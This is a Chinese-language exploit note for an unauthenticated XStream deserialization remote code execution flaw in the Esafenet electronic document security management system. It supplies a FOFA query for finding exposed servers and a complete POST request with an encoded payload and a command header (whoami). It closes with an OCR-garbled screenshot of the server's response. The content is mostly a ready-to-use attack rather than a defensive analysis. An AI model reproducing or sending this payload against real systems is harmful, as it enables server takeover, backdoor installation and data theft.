Y5-26亿赛通-电子文档安全管理系统-反序列化RCE

漏洞描述:

某赛通电子文档安全管理系统 多处接口处存XStream反序列化远程代码执行漏洞,未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web 服务器。

网站图片:



网络测绘:

fofa语法:

body="CDGServer3" || title="电子文档安全管理系统" || cert="esafenet" || body="/help/getEditionInfo.jsp"

漏洞复现:

payload:

POST /CDGServer3/OutgoingRestoreApp?command=GETSYSTEMINFO HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: text/xml
cmd: whoami

NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIC

效果图: 〈 〉 数据包扫描 熱加载 构造请求 🔀 Responses https 5bytes / 131ms 1 HTTP/1.1·200 2 Set-Cookie: 1 POST-/CDGServer3/OutgoingRestoreApp?command-GETSYSTEMINFO·HTTP/1.1 2 Host: 8443 3 User-Agent: Mozilla/5.0 (Windows:NT-6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0. Set-Cookie: JSESSIONID=3CB961DF7986E88740F15C6A0A525B35; Path=/CDGS HttpOnly Date: Thu, -01 Feb 2024 - 12:00:38 -GMT Connection: -close Content-Length: -5 2225.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Connection: close Content-Type: text/xml NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMN ETPJAGGBILDKMLDGAENLPAFBKFPFELKLGCEBMBNMKOIBMPHCIOOCCEHDKPCEDHPHLONDOEGNCPIGDFMGMDPOMMEDIJNFKDCHHBF MFGBDDIOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMAGEELEHJEEIDBDILILANAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFA GLHIDHPJCHAEHFPHNHJGJKJDCINLAHOAPCDJNIABODKBFABJMFIEMLLPGGKNNNFCAOBHCOEOHCBFOFGBBPLKPHLLNOCJAKJDJPOE PBEKKPHOPBHFLILNOGLABIHTBOFFCPCLPAGLCEADNCAGIFAEFOLKOLEHHNFBOJIAOFJKBFMONKBEECKKPPCENFKPPPKEGOIOB HIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPMHFPPNFFIJEEJPPIMGPKHDOACKEEJACLCOKIPFHHECFDF JNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGLOINAIODAJNHAEDLBNONDJHPFELIJMNLMHEMBFGOHELCDBFHIFALD JINITENSHLCOFTPDACOGALCHKBGEBPNCKCKNJJJJANLFPKGLJINAJODAJHHAEDLBNONDJHPFELIJANLHMENBFGHELDSHTFALU IITABFECHHARDONILCJKCFDYPHOLPHODCFJNAGKOMEINIDLEGWOCHAFDANOPPIFFBFFAHAPIDATAILKODLCALBBJAPGGIPKIEO LEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHNKKNDHLCGIPWNKMBJDGIDJMMGEOEGJNJDNNEKFDMEAHMILDKIFB GKGEZCMGOFEKGJEMNAFLOGEEOBKOHADBANHBMDJGGIFPMOKITILGAEELNEOAKNEFHDOGHOPBDICEALJIENFKHFCEHMPBJLCFPDHO GBBFIMKHLLFHONFDJAEJJLPJHPMAEHBDLBSDIDLCMCIKAFBEBFEBGJEECDEINCPHPKIENONIMPBJCCMCHOAJHHOKNEKGJGGGJDJ IDEHNNLNNHEONJEJNNLHPMBBEJDLLJLLNPKIMGHLOFHNKBDEBHHFLPGEKMHOFNBLLAALGMKNJONNGTOJLBFECJMLKHMBCKELDP BDMBFEHAKBHENNDFBBEDCAMMHNNGMDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJKDELPFFLFBOHHNIBEGOOFEFGAENOKBMPC BDELFJPAHICDPGANJALHFENMFHAJLNECAEGOGCBOIDLJENHCEDMADEEOFKLDEBJEJOBCFLPEIEAGPOILBEGOKPOAAPGMICFMFLJN DMBGAJJPKNLIBOAABJLNADADNALIKHDJMDKGOPELEHGPDGNJHAAJKICHBFGWHCLEPFHCCKNFKPEOMHPLMOHBGDHCOGEIGPMIGLAH KBCEDHFGLDIKIIIMEPHMIMCIGJJDCKIEODLKCKOLAKBFHIBHOPNAMPEIKHCMDPNMLACKHOGJAEMBJPFEBOCPBGGAFGGNCOBEAIPA NPLIBGDCCNNONDNOIPDECCPELCEDPGCNJHEIDIFPJDKIFNJGHAHLHENPICIJLHELMODMJIEGNMBNNMFBEJCDDDFOPAJOMBNKBDBG KKMLKCBBPFOOJCKFFIMLCODLOFNOIEHENLJNOFDAMKFLHIADBNGANHIANHOCHLILNJLOCOHFHMNFHALJHOPGKLOPHLMELJFBIABE NFKEHCLIKMFGHPPJFIBBANPIOFKEEBIFIBDIIAIKENFILIDPDELJDMOPFKBOHPGLIPMNCFJFDCJGKCFOAJMPIIBEOHJPPNHLOCIN